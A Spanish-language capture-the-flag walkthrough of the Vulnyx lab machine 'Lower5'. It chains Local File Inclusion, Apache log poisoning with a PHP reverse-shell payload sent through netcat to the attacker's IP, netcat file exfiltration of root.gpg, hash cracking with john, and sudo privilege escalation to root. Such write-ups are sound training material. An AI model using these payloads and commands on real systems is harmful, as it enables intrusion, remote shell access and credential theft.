Máquina Lower5 (Vulnyx)


Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.33
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.33


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn 10.0.2.33 -sVC


Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 80.

Comprobamos que es lo que corre por el puerto 80.


Investigamos un poco toda la pagina web, por los diferentes apartados.



Nos damos cuenta que en el apartador about en la url de que page.php incluye el fichero .html como un parámetro, siendo la pagina web vulnerable a Local File Inclusion (LFI), intentamos acceder a algún fichero en local del propio servidor.


Conseguimos leer el fichero /etc/passwd.

Probamos también si podemos leer algún fichero .log.


Conseguimos también leer al fichero /var/log/apache2/access.log, por lo tanto, la pagina es vulnerable a Log Poisoning o envenenamiento de log.

A continuación, con la ayuda de la herramienta curl, inyectamos una reverse shell en PHP en el fichero .log desde la cabecera User-Agent, para ello ejecutamos el siguiente comando:

$ curl -s -H "User-Agent:<?php system('busybox nc 10.0.2.4 443 -e /bin/bash');?>" "http://10.0.2.33/"

En nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443

Recargamos la pagina web.

Obtenemos una shell como www-data.

A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:

$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l


Nos encontramos con el binario bash que lo podemos ejecutar como el usuario low. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.


Lo ejecutamos de la siguiente manera:

$ sudo -u low /usr/bin/bash


¡¡¡Somos low!!!

Enumeramos de nuevo los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l

Nos encontramos con el binario pass que lo podemos ejecutar como el usuario root, buscando información sobre este binario veo que se trata de un gestor de contraseñas.

Lo ejecutamos de la siguiente manera:

$ sudo -u root /usr/bin/pass

Vemos una entrada llamada root/password, por lo tanto, accedemos a ella, para ello ejecutamos el siguiente comando:

$ sudo -u root /usr/bin/pass root/password


Nos pide una contraseña.

Enumeramos el directorio /home del usuario low.

Y nos encontramos el fichero root.gpg.

Nos pasamos este fichero a nuestra Máquina Atacante, con la ayuda de la herramienta netcat (nc), para ello en nuestra terminal de la Máquina Atacante abrimos un listener por el puerto 8080 y lo redireccionamos todo lo que entre por ese puerto al fichero root.gpg, para ello ejecutamos el siguiente comando:

$ nc -lvnp 8080 > root.gpg

En la Máquina Victima situados en donde se encuentra el archivo, iniciamos una conexión a nuestra Máquina Atacante redirigiendo el archivo root.gpg, para ello ejecutamos el siguiente comando:

$ nc 10.0.2.4 8080 < root.gpg

Extraemos el hash del archivo root.gpg con la herramienta gpg2john, para ello ejecutamos el siguiente comando:

$ gpg2john root.gpg > hash

A continuación, intentamos crackearlo, para ello utilizamos la herramienta john indicando el diccionario rockyou, para ello ejecutamos el siguiente comando:

$ john hash --wordlist=./Descargas/rockyou.txt


Y obtenemos la contraseña Password1.

Ejecutamos de nuevo el binario pass, para ello ejecutamos nuevamente el siguiente comando:

$ sudo -u root /usr/bin/pass root/password


Introducimos la contraseña obtenida anteriormente.


Y obtenemos la contraseña del usuario root.

Nos cambiamos al usuario root, para ello ejecutamos el siguiente comando:

$ su root

Introducimos la contraseña obtenida anteriormente.


¡¡¡Ya somos root!!!

Ya podemos leer las flags de user y root.